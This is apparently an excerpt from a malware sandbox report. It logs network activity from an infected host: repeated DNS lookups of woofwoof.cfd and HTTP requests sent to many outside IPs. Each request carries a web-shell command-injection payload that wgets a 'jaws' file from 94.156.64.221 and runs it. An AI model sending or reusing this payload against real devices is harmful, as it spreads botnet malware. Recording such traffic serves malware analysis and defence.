Jun 1, 2024 18:15:54.239190102 CEST	48892	80	192.168.2.23	179.122.233.207
Jun 1, 2024 18:15:54.239198923 CEST	80	35516	209.98.115.136	192.168.2.23
Jun 1, 2024 18:15:54.239201069 CEST	44888	80	192.168.2.23	161.43.121.185
Jun 1, 2024 18:15:54.239209890 CEST	59202	80	192.168.2.23	104.134.7.68
Jun 1, 2024 18:15:54.239211082 CEST	49912	80	192.168.2.23	116.128.48.224

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2024 18:15:51.189591885 CEST	192.168.2.23	8.8.8.8	0xfd6b	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:15:56.194118023 CEST	192.168.2.23	8.8.8.8	0xfd6b	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:15:57.215956926 CEST	192.168.2.23	8.8.8.8	0xa960	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:15:58.232933044 CEST	192.168.2.23	8.8.8.8	0xd1a0	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:00.098161936 CEST	192.168.2.23	8.8.8.8	0x8812	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:01.116348028 CEST	192.168.2.23	8.8.8.8	0xbbe7	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:05.164731979 CEST	192.168.2.23	8.8.8.8	0xbcc8	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:06.182653904 CEST	192.168.2.23	8.8.8.8	0x396f	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:08.285234928 CEST	192.168.2.23	8.8.8.8	0xd4bb	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:09.302061081 CEST	192.168.2.23	8.8.8.8	0xfdc1	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:13.352881908 CEST	192.168.2.23	8.8.8.8	0x989e	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:18.357532978 CEST	192.168.2.23	8.8.8.8	0x989e	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:19.374722004 CEST	192.168.2.23	8.8.8.8	0xe441	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:24.379247904 CEST	192.168.2.23	8.8.8.8	0xe441	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:26.164760113 CEST	192.168.2.23	8.8.8.8	0x82bf	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:27.321373940 CEST	192.168.2.23	8.8.8.8	0x964b	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:28.345340967 CEST	192.168.2.23	8.8.8.8	0x67cb	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:32.242736101 CEST	192.168.2.23	8.8.8.8	0xdbb1	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:33.260905981 CEST	192.168.2.23	8.8.8.8	0x61e1	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:34.280924082 CEST	192.168.2.23	8.8.8.8	0x29f	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:35.126147985 CEST	192.168.2.23	8.8.8.8	0xe130	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:43.270297050 CEST	192.168.2.23	8.8.8.8	0x4b48	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:48.274827003 CEST	192.168.2.23	8.8.8.8	0x4b48	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:56.514616966 CEST	192.168.2.23	8.8.8.8	0x78d5	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:57.532371998 CEST	192.168.2.23	8.8.8.8	0x93c0	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:58.549632072 CEST	192.168.2.23	8.8.8.8	0x7857	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:59.567305088 CEST	192.168.2.23	8.8.8.8	0x6059	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:04.571839094 CEST	192.168.2.23	8.8.8.8	0x6059	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:05.614224911 CEST	192.168.2.23	8.8.8.8	0x29ba	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:10.618747950 CEST	192.168.2.23	8.8.8.8	0x29ba	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:11.654594898 CEST	192.168.2.23	8.8.8.8	0x7ece	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:16.659096003 CEST	192.168.2.23	8.8.8.8	0x7ece	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:18.599935055 CEST	192.168.2.23	8.8.8.8	0x3abb	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:19.551208973 CEST	192.168.2.23	8.8.8.8	0x1887	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:20.454081059 CEST	192.168.2.23	8.8.8.8	0x3c80	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:22.321091890 CEST	192.168.2.23	8.8.8.8	0x6f10	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:27.325680971 CEST	192.168.2.23	8.8.8.8	0x6f10	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:28.294080019 CEST	192.168.2.23	8.8.8.8	0x82b9	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:29.139549971 CEST	192.168.2.23	8.8.8.8	0x2684	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:30.054464102 CEST	192.168.2.23	8.8.8.8	0x5240	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:31.130260944 CEST	192.168.2.23	8.8.8.8	0x3f33	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:32.018155098 CEST	192.168.2.23	8.8.8.8	0xa8ea	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:32.918770075 CEST	192.168.2.23	8.8.8.8	0xb5f5	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:33.934248924 CEST	192.168.2.23	8.8.8.8	0xa17d	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:34.783112049 CEST	192.168.2.23	8.8.8.8	0x582b	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:35.716855049 CEST	192.168.2.23	8.8.8.8	0xd5c1	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:36.652827024 CEST	192.168.2.23	8.8.8.8	0x19d3	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:37.501908064 CEST	192.168.2.23	8.8.8.8	0x71c6	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:38.412972927 CEST	192.168.2.23	8.8.8.8	0xe5c6	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:40.357511997 CEST	192.168.2.23	8.8.8.8	0xee8	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:41.261725903 CEST	192.168.2.23	8.8.8.8	0x26e6	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:42.160693884 CEST	192.168.2.23	8.8.8.8	0xd461	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:43.080421925 CEST	192.168.2.23	8.8.8.8	0xab	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:43.929063082 CEST	192.168.2.23	8.8.8.8	0x6463	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:44.881719112 CEST	192.168.2.23	8.8.8.8	0xa2bc	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:45.737704039 CEST	192.168.2.23	8.8.8.8	0x55a	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:46.650670052 CEST	192.168.2.23	8.8.8.8	0x8fd8	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:47.552581072 CEST	192.168.2.23	8.8.8.8	0xb8de	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:48.462197065 CEST	192.168.2.23	8.8.8.8	0x7ae6	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:49.395214081 CEST	192.168.2.23	8.8.8.8	0x8783	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:50.321751118 CEST	192.168.2.23	8.8.8.8	0x921b	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:51.256985903 CEST	192.168.2.23	8.8.8.8	0xcff3	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:52.225369930 CEST	192.168.2.23	8.8.8.8	0xa16f	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:53.145251989 CEST	192.168.2.23	8.8.8.8	0x58d7	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:54.110599995 CEST	192.168.2.23	8.8.8.8	0x1383	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:54.990837097 CEST	192.168.2.23	8.8.8.8	0xac26	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:55.877866983 CEST	192.168.2.23	8.8.8.8	0x4620	Standard query (0)	woofwoof.cfd	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jun 1, 2024 18:15:56.201210976 CEST	8.8.8.8	192.168.2.23	0xfd6b	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:15:57.222728968 CEST	8.8.8.8	192.168.2.23	0xa960	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:15:58.239224911 CEST	8.8.8.8	192.168.2.23	0xd1a0	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:00.105706930 CEST	8.8.8.8	192.168.2.23	0x8812	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:01.123456001 CEST	8.8.8.8	192.168.2.23	0xbbe7	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:05.172431946 CEST	8.8.8.8	192.168.2.23	0xbcc8	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:07.193259954 CEST	8.8.8.8	192.168.2.23	0x396f	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:08.291667938 CEST	8.8.8.8	192.168.2.23	0xd4bb	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:09.309264898 CEST	8.8.8.8	192.168.2.23	0xfdc1	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:18.363898039 CEST	8.8.8.8	192.168.2.23	0x989e	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:24.385596991 CEST	8.8.8.8	192.168.2.23	0xe441	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:26.225907087 CEST	8.8.8.8	192.168.2.23	0x82bf	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:27.328929901 CEST	8.8.8.8	192.168.2.23	0x964b	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:28.352008104 CEST	8.8.8.8	192.168.2.23	0x67cb	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:32.249161959 CEST	8.8.8.8	192.168.2.23	0xdbb1	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:33.268043041 CEST	8.8.8.8	192.168.2.23	0x61e1	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:34.288223028 CEST	8.8.8.8	192.168.2.23	0x29f	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:35.132836103 CEST	8.8.8.8	192.168.2.23	0xe130	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:48.284291983 CEST	8.8.8.8	192.168.2.23	0x4b48	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:56.521859884 CEST	8.8.8.8	192.168.2.23	0x78d5	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:57.538954973 CEST	8.8.8.8	192.168.2.23	0x93c0	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:16:58.556766033 CEST	8.8.8.8	192.168.2.23	0x7857	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:04.579651117 CEST	8.8.8.8	192.168.2.23	0x6059	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:10.630484104 CEST	8.8.8.8	192.168.2.23	0x29ba	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:16.665657043 CEST	8.8.8.8	192.168.2.23	0x7ece	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:18.606806993 CEST	8.8.8.8	192.168.2.23	0x3abb	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:19.557622910 CEST	8.8.8.8	192.168.2.23	0x1887	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:20.461690903 CEST	8.8.8.8	192.168.2.23	0x3c80	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:27.332559109 CEST	8.8.8.8	192.168.2.23	0x6f10	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:28.300909042 CEST	8.8.8.8	192.168.2.23	0x82b9	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:29.146368027 CEST	8.8.8.8	192.168.2.23	0x2684	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:30.061561108 CEST	8.8.8.8	192.168.2.23	0x5240	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:31.137162924 CEST	8.8.8.8	192.168.2.23	0x3f33	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:32.024545908 CEST	8.8.8.8	192.168.2.23	0xa8ea	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:32.925200939 CEST	8.8.8.8	192.168.2.23	0xb5f5	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:33.941641092 CEST	8.8.8.8	192.168.2.23	0xa17d	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:34.789367914 CEST	8.8.8.8	192.168.2.23	0x582b	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:35.723345995 CEST	8.8.8.8	192.168.2.23	0xd5c1	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:36.659558058 CEST	8.8.8.8	192.168.2.23	0x19d3	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:37.508824110 CEST	8.8.8.8	192.168.2.23	0x71c6	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:38.420082092 CEST	8.8.8.8	192.168.2.23	0xe5c6	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:40.364537001 CEST	8.8.8.8	192.168.2.23	0xee8	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:41.268346071 CEST	8.8.8.8	192.168.2.23	0x26e6	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:42.167071104 CEST	8.8.8.8	192.168.2.23	0xd461	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:43.086787939 CEST	8.8.8.8	192.168.2.23	0xab	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:43.935293913 CEST	8.8.8.8	192.168.2.23	0x6463	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:44.888847113 CEST	8.8.8.8	192.168.2.23	0xa2bc	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:45.744102955 CEST	8.8.8.8	192.168.2.23	0x55a	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:46.657850027 CEST	8.8.8.8	192.168.2.23	0x8fd8	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:47.559705019 CEST	8.8.8.8	192.168.2.23	0xb8de	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:48.469207048 CEST	8.8.8.8	192.168.2.23	0x7ae6	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:49.402276039 CEST	8.8.8.8	192.168.2.23	0x8783	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:50.328414917 CEST	8.8.8.8	192.168.2.23	0x921b	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:51.265249014 CEST	8.8.8.8	192.168.2.23	0xcff3	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:52.233017921 CEST	8.8.8.8	192.168.2.23	0xa16f	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:53.152551889 CEST	8.8.8.8	192.168.2.23	0x58d7	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:54.117583990 CEST	8.8.8.8	192.168.2.23	0x1383	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:54.998084068 CEST	8.8.8.8	192.168.2.23	0xac26	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false
Jun 1, 2024 18:17:55.884429932 CEST	8.8.8.8	192.168.2.23	0x4620	No error (0)	woofwoof.cfd	94.156.64.221	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	35232	146.154.17.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237476110 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	40304	176.184.31.108	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237533092 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	42174	118.56.224.81	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237569094 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	57450	138.193.26.70	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237611055 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	45786	134.10.23.167	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237648964 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	48530	91.176.40.173	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237679005 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	53384	115.206.192.214	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237729073 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	37624	42.244.32.219	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237756968 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	50616	198.208.129.228	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237801075 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	51866	98.108.66.200	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237843037 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	53862	149.115.99.191	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237869024 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	37480	92.126.90.34	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237898111 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	44742	81.132.76.122	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237931013 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	60788	193.77.243.238	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.237997055 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	60742	35.40.58.241	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238015890 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	49670	115.246.114.148	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238040924 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	43832	34.240.253.41	80

Timestamp	Bytes transferred	Direction	Data
